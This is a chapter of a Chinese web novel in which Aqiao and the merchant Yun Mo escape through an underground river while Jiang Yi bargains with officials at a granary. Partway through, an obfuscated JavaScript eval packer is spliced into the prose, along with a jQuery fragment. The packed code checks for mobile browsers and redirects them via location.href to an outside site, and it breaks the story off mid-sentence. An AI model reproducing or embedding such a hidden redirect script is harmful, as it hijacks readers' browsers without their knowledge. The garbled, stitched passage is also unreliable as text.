清风凉凉晚枫亭 作品

73. 合作.背叛.联手

阿乔不打算理会他话语里的机锋,这种玩心眼的事,还得江逸来。


想到江逸,她摸了摸挂在腰间的小暖炉,发觉摸了空,顿觉心口一窒,着急忙慌的起身,借着火光搜寻起来。


身边没有,刚才和妘墨打斗的地方也没有,可她脱外衫时绝对取了下来用布条挂在腰间,她一步一步朝黑暗走去,突然被妘墨扯住,“别去!刚才一番闹腾,前面随时会坍塌!”


“用不着!”阿乔一把甩开妘墨抓着她袖口的手。


“丢了我赔你一个就是!犯不着去冒险。”妘墨想起她举着火衣冲来救他时,腰间似乎挂着有一个黄澄澄的小物件,想来是极为心爱,“你要金的、银的、玉的、铁的,不管多贵,出去后我都赔你。”


“你赔不起!”阿乔愠怒喝道,“让开!”


隧道狭窄,两人侧身通过已是极限,而妘墨早已闪身拦在阿乔面前。


“你要是执意去,我现在就毁了你的匕首。”妘墨拿出自己的匕首,刀刃对着另一把匕首的手柄,“你说,它俩谁更硬?”


阿乔死死盯着她的匕首,从来没有这么后悔过,刚才为什么要折回来救他。沉默半晌,才说道:“你受了伤,要出去,离不开我。”


“你想出去,我也想,与其两败俱伤,不如通力合作。”妘墨将匕首装回软牛皮套子里,斟酌着用语。


两人各有目的,也有着不想为对方所知的秘密和过往。更何况才经历生死之战,无论如何都无法当做没发生过。


阿乔冷静下来后,也开始思考起来,如何说才能既不暴露过多,还能暂时取得信任。


“那个东西...对你真的很重要?”妘墨打量着阿乔的神色,她心思不深,很容易便能看出情绪来。见她眼神坚定,便郑重说道:“这条密道好用的很,我可不会放任它被毁了。之后我疏通密道时找到了给你,可好?”


说罢,妘墨递过阿乔的匕首,“算是我的一点诚意。”


见阿乔接下,才继续说道:“你要扳倒妘氏救沈家,我不会是你的阻碍,相反,说不定还能助你一臂之力。那把火是我放的,目的就是告诉你们,粮仓失窃。要是你们顺着去查,多半可以找到妘氏粮草所在。”


阿乔眼中闪过一丝惊讶。


从妘墨的话来看,他不是杨玥的人,那么他未必支持新帝。可他为何要扳倒妘氏?他究竟代表哪方势力?


不管如何,事涉朝堂,眼下还是不问为妙。


“走吧。”阿乔转身朝水潭走去,却听见妘墨问,“你怎么会驭兽?”


“小时候被带走,有人教的。”阿乔扭身,看着妘墨正色道,“泅水也是。要是不信,咱们各走各的。最多体力不支被暗流卷走的风险高了点,那也好过被人背后捅刀子强。”


“信。”妘墨没有迟疑,快步走到阿乔身边,想起那个物件,看外形似乎就是普通的手炉,无非精巧些,问道:“那个东西不值钱,甘愿冒险也要拿回来,很重要?”


“嗯。”阿乔淡道。


妘墨沉默片刻,眼神晦暗,似乎是确认般,突然问道:“很重要的人送的?”


“所以很珍视?”跟着一句追问。


听着这自问自答似的问句,阿乔白了他一眼,闭眼养神,将身体中游动的气汇聚于丹田。


感到身体微微发热后,准备跳下时却听见妘墨的小声咕哝,“下次还能再敲一笔。”气的阿乔立马跑到熄灭的火堆里,捏起一只老鼠,就往妘墨快入水的头上招呼。


听见带着咕哝咕哝的哎呦声后,她顿感轻松,仿佛刚才的生死之战从未发生过,水里的这个人还是她熟悉的奸商。


这个念头浮上脑海的瞬间,惊的她握紧了匕首,越想越气,一跺脚骂了句“卑鄙无耻狡猾奸诈”,想起这堆形容词没有目标,且妘墨未必是本名,遂恨恨的补了个“奸商!”,方才跳入水中。


二人游至洞口时,妘墨从怀中掏出一颗掌心大小的夜明珠,阿乔这才看清洞口边缘不规则的痕迹,应当是铁锹挖出来的。


进入暗河,妘墨指路,阿乔则拽着妘墨往前游,此处水流纷杂,好几个出口因洞口狭窄,水流微弱,她独行必会在岔路口里打转儿,若是没有夜明珠和谙熟此处水系的人,就算她泅水天赋极佳,找到出口时怕也是筋疲力竭。


月亮升至天空后半段时,两人才从暗河游出,阿乔回首遥望,巍峨的黑色城墙如参天巨树,拔地而起,坚不可参。


这两日气温回暖,河水并未结冰,但冰水刺骨,寒风扫过头顶,阿乔一个激灵,手脚不受控的微微抽搐。


她颤抖着松开抓着妘墨的手,既已出城,二人也算完成约定,剩下的路还是各自走得好。


她双目微合,并不打算与不受控而肆意蜷缩的手指、脚心对抗。她将自己想象成一片枯叶,不,枯叶太重了,在宽广的长河里,她轻如浮尘,随水而逝。


她感到头脑一片清明,意念澄澈,所有意识皆汇聚成一个光点,外在的一切皆为无形。


她渐渐飘了起来,随水而动。


等捱过了这阵子,不再抽搐后,她在上岸。


“别睡!”一声厉喝在她耳边炸响,腰间似乎被环绕包裹,一股辛辣的液体伴被灌入口腔,暖流激遍全身。


她还未反应过来,又是第二口、第三口,喉头和胃部被灼烧感刺激,她挣扎着呛了几口水,才摆脱开来。


阿乔将脸上的水珠甩开,才看清妘墨正拿着手掌大的银质酒壶,随着浪涌上下起伏,眯着眼小口抿着。


见她醒了,还笑眯眯的说道:“这酒性烈,得抿着喝。”


阿乔捏了捏恢复知觉的五指,暗中蓄力,借着浪涌的势头闪身靠近妘墨,左手精准的扣住他的脑袋,右手抓住酒壶准备好好的灌他几口。


右手还未发力,眼前的人从一个变成了两个,越来越多,眩晕感袭来,耳边的声音却愈发清晰:“这酒别名静心,天冷的时候来上一口可以暖身,但不宜摧动真气。不过你功夫差,晕不了多久。”


“你....”阿乔未骂出口,脑袋越来越沉,任由妘墨将她往岸上拽,


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588445|170878||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


浪涌浮沉间,她反而将今晚发生的事全都串了起来。


府兵的追击重点本就不是她,可妘墨受了伤,无法单独出城,所以引着府兵追她,又引导她躲进巷子敲门,假意被她胁迫带她出城。


夜明珠、静心酒,他早有所备!


阿乔晕过去之前,唯一的想法就是,狐狸!比江狐狸还坏的老狐狸!


但她总觉得,这事没这么简单....


***


清河粮仓内,虽然有了间客和阿乔逃跑两个岔子,但前来协助救火的百姓都已被陆续送出,安置妥当。


王旬负手站在仓内,围着一块“清河粮仓”的牌匾来回转悠。这一晚上,让他头疼的事太多了。


就比如眼前,火是间客放的,他跑了就跑了,可这位江公子的娘子跑什么?没了人质,他还可信么?


低头一瞧见地上由太太太上皇亲笔题写的牌匾,王旬太阳穴更是疼的直抽抽。


“启禀大人,城内未搜到。护城河也一直派人盯着在。守城门的弟兄也都交代了,近期胆敢私自受贿带人出城的,一律按通敌处理。”一府兵回报。


府兵统领点头,“所有药铺都安排道上兄弟盯紧了,每一颗草药,卖与了谁、买家病症、住址都要核查清楚。”


“江公子方才说的头头是道,可有料到现在的局面?”府兵统领握着腰间横刀,大步走来。“你夫人和间客一起跑了,按律,通敌当诛。”


“我让她跑的。”江逸正对着府兵统领,毫无惧色。看的王旬右眼皮直跳,赶忙拦在二人身前,念叨着“定有误会,有话好好说。”打起圆场,生怕这莽夫拔刀,坏了大事。


“刚才的饼可是下了迷药?”江逸扫视过两人,府兵统领不以为意,王旬则心虚拭汗。“王大人担心运送途中这群人横生事端,便下了药,还将手脚缚住,就连我和夫人也被一同算计在内,我怎么放心将夫人交给诸位大人呢?”


王旬心思一转,便知他担忧的所为何事。但府兵统领并不买账,直接拔刀,贴在了两人脖颈上,嚇的王旬赶紧缩了缩脑袋,试图从二人中间挤出来。


“说,你和间客什么关系?要不是你出主意,他们早就被烧死了。”


“是王大人有好生之德,选择了更为妥善的办法。”


王旬听到夸赞,不合时宜的飘飘然起来,停住了往外挤的半截身子。三人现在像根糖葫芦,不过串起三人的确是一柄刀,中间还有一颗将掉未掉、试图把自己掰回原位的“果子”。


“我与间客并不相识。要是认识,方才直接煽动暴乱,岂不是更容易逃跑?发现有迷药,也是计划让内子假意晕倒,万一路上被欺辱尚有自保之力。”江逸提声道,“试问两位大人,遇到相同的情景,是宁愿让家眷遭受风险,还是选择一条更为稳妥的路呢?”


二人循着他的话,渐渐想明白了。也清楚跑出去一个女人,掀不起什么风浪,但没了能制住他的手段,着实有些头疼。


府兵统领将刀下压了几分,隐隐见了血,才收住力道。